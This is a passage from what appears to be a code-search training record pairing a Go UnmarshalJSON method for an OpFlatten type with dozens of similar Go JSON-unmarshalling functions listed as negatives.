operation"},"document":{"kind":"string","value":"func (op *OpFlatten) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Field)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (v *flattenedField) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson390b7126DecodeGithubComChancedPicker35(&r, v)\n\treturn r.Error()\n}","func unmarshalJSON(j extv1.JSON, output *any) error {\n\tif len(j.Raw) == 0 {\n\t\treturn nil\n\t}\n\treturn json.Unmarshal(j.Raw, output)\n}","func (f *FeatureOperationsListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &f.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &f.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}","func (t *TenantListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &t.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &t.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}","func (t *TransformCollection) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"@odata.nextLink\":\n\t\t\terr = unpopulate(val, \"ODataNextLink\", &t.ODataNextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &t.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}","func UnmarshalFromJSON(data []byte, target interface{}) error {\n\tvar ctx map[string]interface{}\n\terr := json.Unmarshal(data, &ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn Unmarshal(ctx, target)\n}","func (v *IngredientArr) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels7(&r, v)\n\treturn r.Error()\n}","func (v *VisitArray) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonE564fc13DecodeGithubComLa0rgHighloadcupModel(&r, v)\n\treturn r.Error()\n}","func (agg *aggregationInfo) UnmarshalJSON(b []byte) error {\n\ttype aggregationRequestX aggregationInfo // prevent recursion\n\tvar temp aggregationRequestX\n\n\tif err := json.Unmarshal(b, &temp); err != nil {\n\t\treturn err\n\t}\n\n\t*agg = aggregationInfo(temp)\n\tagg.AggregationProps = map[string]interface{}{}\n\n\t// Capture aggregation type and body as mentioned in docs here:\n\t// https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html#_structuring_aggregations\n\tvar aggregationBody map[string]map[string]interface{}\n\tif err := json.Unmarshal(b, &aggregationBody); err != nil {\n\t\treturn err\n\t}\n\n\t// Based on elasticsearch, the underlying assumption made by this loop is that\n\t// aggregationBody will always only contain a map between the type of aggregation\n\t// to the aggregation body\n\tfor k, v := range aggregationBody {\n\t\t// These fields have special meaning in the request and this loop does not care about them\n\t\tif k == \"aggs\" || k == \"meta\" || k == \"aggregations\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tagg.AggregationProps[k] = v\n\t}\n\n\treturn nil\n}","func (o *OperationsDefinitionArrayResponseWithContinuation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (u *Unstructured) UnmarshalJSON(b []byte) error {\n\t_, _, err := UnstructuredJSONScheme.Decode(b, nil, u)\n\treturn err\n}","func (j *ThirdParty) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *Ingredient) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels8(&r, v)\n\treturn r.Error()\n}","func (j *Data) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *OneLike) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\tdecodeOneLike(&r, v)\n\treturn r.Error()\n}","func (o *OperationEntityListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (j *Json) UnmarshalJSON(b []byte) error {\n\tr, err := loadContentWithOptions(b, Options{\n\t\tType: ContentTypeJson,\n\t\tStrNumber: true,\n\t})\n\tif r != nil {\n\t\t// Value copy.\n\t\t*j = *r\n\t}\n\treturn err\n}","func (t *Transform) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &t.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &t.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &t.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"systemData\":\n\t\t\terr = unpopulate(val, \"SystemData\", &t.SystemData)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &t.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}","func (fs *Filters) UnmarshalJSON(data []byte) error {\n\tvar tmp []filter\n\tif err := json.Unmarshal(data, &tmp); err != nil {\n\t\treturn err\n\t}\n\t*fs = make([]Filter, 0, len(tmp))\n\tfor _, f := range tmp {\n\t\t*fs = append(*fs, f.Filter)\n\t}\n\treturn nil\n}","func (v *Visit) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonE564fc13DecodeGithubComLa0rgHighloadcupModel1(&r, v)\n\treturn r.Error()\n}","func (j *jsonNative) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (this *SimpleWithMap_Nested) UnmarshalJSON(b []byte) error {\n\treturn TypesUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}","func (v *Features) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson42239ddeDecodeGithubComKhliengDispatchServer25(&r, v)\n\treturn r.Error()\n}","func (g *GenerateExpressRoutePortsLOAResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", g, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"encodedContent\":\n\t\t\terr = unpopulate(val, \"EncodedContent\", &g.EncodedContent)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", g, err)\n\t\t}\n\t}\n\treturn nil\n}","func (v *Node) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6601e8cdDecodeGithubComSkydiveProjectSkydiveGraffitiApiTypes1(&r, v)\n\treturn r.Error()\n}","func (a *AppTemplatesResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &a.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &a.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}","func (t *TransformOutput) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"onError\":\n\t\t\terr = unpopulate(val, \"OnError\", &t.OnError)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"preset\":\n\t\t\tt.Preset, err = unmarshalPresetClassification(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"relativePriority\":\n\t\t\terr = unpopulate(val, \"RelativePriority\", &t.RelativePriority)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}","func (e *ExtraLayers) UnmarshalJSON(data []byte) error {\n\tvar a []string\n\tif err := json.Unmarshal(data, &a); err != nil {\n\t\treturn err\n\t}\n\treturn e.Parse(a...)\n}","func (s *SingleServerRecommendationResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"deploymentType\":\n\t\t\terr = unpopulate(val, \"DeploymentType\", &s.DeploymentType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"vmSku\":\n\t\t\terr = unpopulate(val, \"VMSKU\", &s.VMSKU)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}","func (m *AlertAllOf1Body) UnmarshalJSON(raw []byte) error {\n\tvar data struct {\n\t\tContexts json.RawMessage `json:\"contexts,omitempty\"`\n\n\t\tDetails interface{} `json:\"details,omitempty\"`\n\n\t\tType string `json:\"type,omitempty\"`\n\t}\n\tbuf := bytes.NewBuffer(raw)\n\tdec := json.NewDecoder(buf)\n\tdec.UseNumber()\n\n\tif err := dec.Decode(&data); err != nil {\n\t\treturn err\n\t}\n\n\tcontexts, err := UnmarshalContextSlice(bytes.NewBuffer(data.Contexts), runtime.JSONConsumer())\n\tif err != nil && err != io.EOF {\n\t\treturn err\n\t}\n\n\tvar result AlertAllOf1Body\n\n\t// contexts\n\tresult.contextsField = contexts\n\n\t// details\n\tresult.Details = data.Details\n\n\t// type\n\tresult.Type = data.Type\n\n\t*m = result\n\n\treturn nil\n}","func (f *FromAllInputFile) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"includedTracks\":\n\t\t\tf.IncludedTracks, err = unmarshalTrackDescriptorClassificationArray(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"@odata.type\":\n\t\t\terr = unpopulate(val, \"ODataType\", &f.ODataType)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}","func (j *Regulations) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *Fruit) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels11(&r, v)\n\treturn r.Error()\n}","func (a *AzureFirewallListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &a.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &a.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}","func (f *FromEachInputFile) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"includedTracks\":\n\t\t\tf.IncludedTracks, err = unmarshalTrackDescriptorClassificationArray(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"@odata.type\":\n\t\t\terr = unpopulate(val, \"ODataType\", &f.ODataType)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}","func (t *TestLineListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &t.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &t.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}","func (f *FilterItems) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"field\":\n\t\t\terr = unpopulate(val, \"Field\", &f.Field)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"values\":\n\t\t\terr = unpopulate(val, \"Values\", &f.Values)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}","func (t *BlockTest) UnmarshalJSON(in []byte) error {\n\treturn json.Unmarshal(in, &t.Json)\n}","func (sc *ScrapeConfigs) UnmarshalJSON(b []byte) error {\n\n\tvar oneConfig ScrapeConfig\n\tif err := json.Unmarshal(b, &oneConfig); err == nil {\n\t\t*sc = ScrapeConfigs{oneConfig}\n\t\treturn nil\n\t}\n\tvar multiConfigs []ScrapeConfig\n\tif err := json.Unmarshal(b, &multiConfigs); err == nil {\n\t\t*sc = multiConfigs\n\t\treturn nil\n\t} else {\n\t\tfmt.Println(err)\n\t\tfmt.Println(\"Badly formatted YAML: Exiting\")\n\t\tos.Exit(1)\n\t}\n\treturn nil\n}","func (f *FeatureResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &f.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &f.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &f.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &f.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}","func (t *TestAllRoutesResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"routes\":\n\t\t\terr = unpopulate(val, \"Routes\", &t.Routes)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}","func (a *AppListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &a.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &a.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}","func (m *MapTransform) UnmarshalJSON(b []byte) error {\n\treturn json.Unmarshal(b, &m.Pairs)\n}","func (a *AzureFirewallFqdnTagListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &a.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &a.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}","func (a *AzureStackEdgeFormat) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"azureStackEdge\":\n\t\t\terr = unpopulate(val, \"AzureStackEdge\", &a.AzureStackEdge)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"deviceType\":\n\t\t\terr = unpopulate(val, \"DeviceType\", &a.DeviceType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"networkFunctions\":\n\t\t\terr = unpopulate(val, \"NetworkFunctions\", &a.NetworkFunctions)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provisioningState\":\n\t\t\terr = unpopulate(val, \"ProvisioningState\", &a.ProvisioningState)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &a.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}","func (e *ExpressRouteLinkListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", e, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &e.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &e.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", e, err)\n\t\t}\n\t}\n\treturn nil\n}","func (f genHelperDecoder) DecJSONUnmarshal(tm jsonUnmarshaler) {\n\tf.d.jsonUnmarshalV(tm)\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, 